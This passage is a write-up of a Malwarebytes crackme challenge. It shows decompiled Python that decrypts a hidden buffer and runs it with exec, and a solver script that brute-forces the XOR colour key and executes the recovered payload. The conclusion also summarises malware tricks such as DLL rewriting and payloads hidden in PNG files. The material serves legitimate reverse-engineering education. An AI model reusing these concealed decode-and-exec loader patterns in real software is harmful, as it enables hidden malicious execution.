As seen in the DLL analysis, to trigger the required conditions, a file named “secret_console – Notepad” is opened in a text editor. As such, the window title contains the mentioned substrings:

As expected, the title of the window is changed to “Secret Console is waiting for the commands…” by the malware. Writing “dump_the_key” in the window validates the second stage.

Stage 3: the colors

After validating the previous step, a message is printed on the console, asking the user to “guess a color”:

The three components (R, G and B) of a specific color, with values going from 0 to 255, need to be entered to validate this step.

Understanding the code

Looking back at the another.py’s main() function code, it seems that the corresponding operations are performed inside the decode_pasted() function.

def main():
   [...]
      load_level2(decdata, len(decdata))
      user32_dll.MessageBoxA(None, 'You did it, level up!', 'Congrats!', 0)
      try:
         if decode_pasted() == True:
            user32_dll.MessageBoxA(None, '''Congratulations! Now save your flag and 
send it to Malwarebytes!''', 'You solved it!', 0)
            return 0

def decode_pasted():
    my_proxy = kernel_dll.GetModuleHandleA('actxprxy.dll')
    if my_proxy is None or my_proxy == 0:
        return False
    else:
        char_sum = 0
        arr1 = my_proxy
        str = ''
        while True:
            val = get_char(arr1)
            if val == '\x00':
                break
            char_sum += ord(val)
            str = str + val
            arr1 += 1

        print char_sum
        if char_sum != 52937:
            return False
        colors = level3_colors()
        if colors is None:
            return False
        val_arr = zlib.decompress(base64.b64decode(str))
        final_arr = dexor_data(val_arr, colors)
        try:
            exec final_arr
        except:
            print 'Your guess was wrong!'
            return False

        return True

def dexor_data(data, key):
    maxlen = len(data)
    keylen = len(key)
    decoded = ''
    for i in range(0, maxlen):
        val = chr(ord(data[i]) ^ ord(key[i % keylen]))
        decoded = decoded + val
    return decoded

def level3_colors():
    colorama.init()
    print colorama.Style.BRIGHT + colorama.Fore.CYAN
    print '''Level #3: Your flag is almost ready! But before it will be revealed
, you need to guess it's color (R,G,B)!'''
    print colorama.Style.RESET_ALL
    color_codes = ''
    while True:
        try:
            val_red = int(raw_input('R: '))
            val_green = int(raw_input('G: '))
            val_blue = int(raw_input('B: '))
            color_codes += chr(val_red)
            color_codes += chr(val_green)
            color_codes += chr(val_blue)
            break
        except:
            print 'Invalid color code! Color code must be an integer (0,255)'
    print 'Checking: RGB(%d,%d,%d)' % (val_red, val_green, val_blue)
    return color_codes

According to the decode_pasted() function, the decrypted buffer stored at the start of actxprxy.dll’s address space is read and:
base64-decoded;

• zlib-decompressed;
• XOR’ed against the user-provided colors values;
• Executed by the Python exec function.

To start our cryptanalysis, we modify the decode_pasted() function to dump the val_arr buffer before the dexor_data() operation, and rerun another.py, providing all required credentials:

[...]
if colors is None:
   return False
val_arr = zlib.decompress(base64.b64decode(str))
with open("val_arr.bin", "wb") as f:
   f.write(val_arr)
   print "val_arr dumped !"
exit()
final_arr = dexor_data(val_arr, colors)
[...]

Decrypting the val_arr buffer

Knowing that the buffer is a string passed to the “exec” Python statement after being decrypted, it should represent a valid Python source code.
To find the right key, the naïve solution would be to run a brute-force attack on all the possible “(R, G, B)” combinations, and look for printable solutions. This solution would need to perform 256^3 = 16’777’216 dexor_data() calls, which is feasible but inefficient.
Instead, we perform 3 independent brute-force attacks on each R, G and B component, therefore performing 256 x 3 = 768 dexor_data() calls. The 3 brute-force attacks are performed on different “slices” of the val_arr string (of each of stride 3). We then test each combination of potential values previously found for each component.
For example, if our 3 brute-force attacks indicate that:

• R can take values 2 and 37,
• G can take values 77 and 78,
• and B can only take the value 3,

Then we test the combinations (2,77, 3), (37,77, 3), (2,78, 3) and (37,78, 3).

The following code implements our attack:

import string
import itertools
from colorama import *
from another import dexor_data

with open("val_arr.bin", "rb") as f:
    val_arr = f.read()

#lists of possible values for R, G and B
potential_solutions = [list(), list(), list()]
for color in range(3): # separate bruteforce on R, G and B
    for xor_value in range(256): #testing all potential values
        valid = True
        for b in val_arr[color::3]: #extracting one every 3 characters, from index 
        # "color" (i.e. extracting all characters xored by the same "color" value)
            if chr(ord(b) ^ xor_value) not in string.printable:
                valid = False
                break
        if valid:
            potential_solutions[color].append(xor_value)

print "Possible values for R, G and B :", potential_solutions

for colors in itertools.product(*potential_solutions):
    print "Testing ", colors
    plaintext = dexor_data(val_arr, map(chr, colors))
    print repr(plaintext)
    if not raw_input("Does it seems right ? [Y/n]\n").startswith("n"):
       print "Executing payload :"
       exec plaintext
       break

Executing this code gives us the solution instantly:

The final flag appears in the console:

flag{"Things are not always what they seem; the first appearance 
deceives many; the intelligence of a few perceives what has been 
carefully hidden." - Phaedrus}

Conclusion

This challenge was very interesting to solve, because apart from being an original crackme, it also included various topics that could be found during a real malware analysis. These topics included:

• DLL-rewriting techniques, here used as a kind of covert communication channel between a DLL and its main process;
• “Non-obvious” anti-debugging tricks, like checking the presence of a known library in the process’ memory space to identify standalone DLL debugging;
• Concealed malware downloading, using « harmless » formats (like PNG) to hide an executable payload from basic traffic analysis;
• PyInstaller-based malware, (yes, sometimes malware writers can be lazy).

Thanks MalwareBytes for this entertaining challenge!

Cet article Malwarebytes challenge write-up est apparu en premier sur RiskInsight.